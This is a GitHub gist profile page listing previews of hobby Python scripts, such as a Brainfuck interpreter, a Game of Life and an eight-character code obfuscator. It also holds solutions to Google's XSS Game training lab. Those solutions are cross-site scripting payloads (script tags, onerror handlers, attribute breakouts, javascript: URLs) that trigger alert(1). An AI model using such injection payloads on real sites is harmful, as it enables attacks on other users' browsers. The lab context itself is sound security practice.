Skip to content

Instantly share code, notes, and snippets.

View WitherOrNot's full-sized avatar
🤠
yeehaw

WitherOrNot

🤠
yeehaw
View GitHub Profile
@WitherOrNot
WitherOrNot / bf.py
Last active July 25, 2019 00:43
BrainFuck Interpreter
import sys
import time
import os
class _Getch:
"""Gets a single character from standard input. Does not echo to the
screen."""
def __init__(self):
try:
self.impl = _GetchWindows()
@WitherOrNot
WitherOrNot / hanoi.py
Last active August 30, 2020 19:46
Towers of Hanoi solver without recursion
import sys
import itertools
no_of_disks = int(raw_input("No. of disks: ")) if len(sys.argv) < 2 else int(sys.argv[1])
def disk_to_move(move_number):
diff = move_number ^ (move_number + 1)
return bin(diff)[2:].count("1") - 1
def generate_move(disk_to_move, disk_states):
@WitherOrNot
WitherOrNot / onefunc.py
Created June 14, 2019 05:03
obfuscates python code to only use 8 characters, aside from one pre-defined function
# 8 characters: _ ~ + , ( ) [ ] and 1 function
# code.py is the original code
# obf.py is the obfuscated code
def _(s=None,a=0):
if isinstance(s, str):
try:
if a == 0:
exec(s)
elif a == 1:
@WitherOrNot
WitherOrNot / helloworld_obf.py
Created June 14, 2019 05:04
Hello World obfuscated to only 8 characters, aside from one pre-defined function
def _(s=None,a=0):
if isinstance(s, str):
try:
if a == 0:
exec(s)
elif a == 1:
return eval(s)
except Exception as e:
return repr(e)
elif s == 0:
@WitherOrNot
WitherOrNot / pfactor.py
Created June 14, 2019 05:05
Polynomial factorizer using Rational Root Theorem
from __future__ import division
def gcd(a, b):
if a == 0:
return 1
while b != 0:
t = b
b = a % b
a = t
@WitherOrNot
WitherOrNot / gol.py
Created June 14, 2019 05:06
Conway's Game of Life in the terminal
import random
size = 20
#on = [(1,1),(1,2),(1,3)] #Blinker
#on = [(1,0),(2,1),(0,2),(1,2),(2,2)] #Glider
on = [(2,2),(3,2),(4,2),(5,2),(6,2),(7,2),(9,2),(10,2),(2,3),(3,3),(4,3),(5,3),(6,3),(7,3),(9,3),(10,3),(9,4),(10,4),(2,5),(3,5),(9,5),(10,5),(2,6),(3,6),(9,6),(10,6),(2,7),(3,7),(9,7),(10,7),(2,8),(3,8),(2,9),(3,9),(5,9),(6,9),(7,9),(8,9),(9,9),(10,9),(2,10),(3,10),(5,10),(6,10),(7,10),(8,10),(9,10),(10,10)]
#^ Galaxy
#on = [(24, 0), (22, 1), (24, 1), (12, 2), (13, 2), (20, 2), (21, 2), (34, 2), (35, 2), (11, 3), (15, 3), (20, 3), (21, 3), (34, 3), (35, 3), (0, 4), (1, 4), (10, 4), (16, 4), (20, 4), (21, 4), (0, 5), (1, 5), (10, 5), (14, 5), (16, 5), (17, 5), (22, 5), (24, 5), (10, 6), (16, 6), (24, 6), (11, 7), (15, 7), (12, 8), (13, 8)]
#^Glider gun, 60 iters (start at 60)
#on = [(random.randint(0,size),random.randint(0,size)) for _ in range(random.randint(1,size**2))] #Random
@WitherOrNot
WitherOrNot / xss-game.txt
Created June 19, 2019 02:38
Solutions to Google XSS Game xss-game.appspot.com
Level 1:
set url to https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>
Level 2:
post <img src="x" onerror="alert(1)" /> in message box
Level 3:
set url to https://xss-game.appspot.com/level3/frame#x' onerror='alert(1)' />
Level 4:
set url to https://xss-game.appspot.com/level4/frame?timer=3');+alert(1);+//
Level 5:
set url to https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1) and click Next >>
@WitherOrNot
WitherOrNot / cycal.py
Created August 29, 2019 01:31
1d cyclic cellular automaton
from random import randrange
from PIL import Image
colortrans = [
(255,0,0),
(255,127,0),
(255,255,0),
(127,255,0),
(0,255,0),
(0,255,127),
@WitherOrNot
WitherOrNot / ssd.py
Created November 20, 2019 00:54
Decomposes n into a,b such that a^2 + b^2 = n
from math import floor as fl
from math import sqrt
from random import randint
def ctuple(z):
return z.real, z.imag
def floor(x):
if x < 0:
return -fl(-x)
@WitherOrNot
WitherOrNot / img_to_braille.py
Last active January 7, 2020 15:30
images for blind people and youtube commenters
# -*- coding: utf-8 -*-
from PIL import Image
import sys
THRESH = int(sys.argv[2]) if len(sys.argv) > 2 else 200
col = Image.open(sys.argv[1])
col.thumbnail((128, 128), Image.ANTIALIAS)
w, h = col.size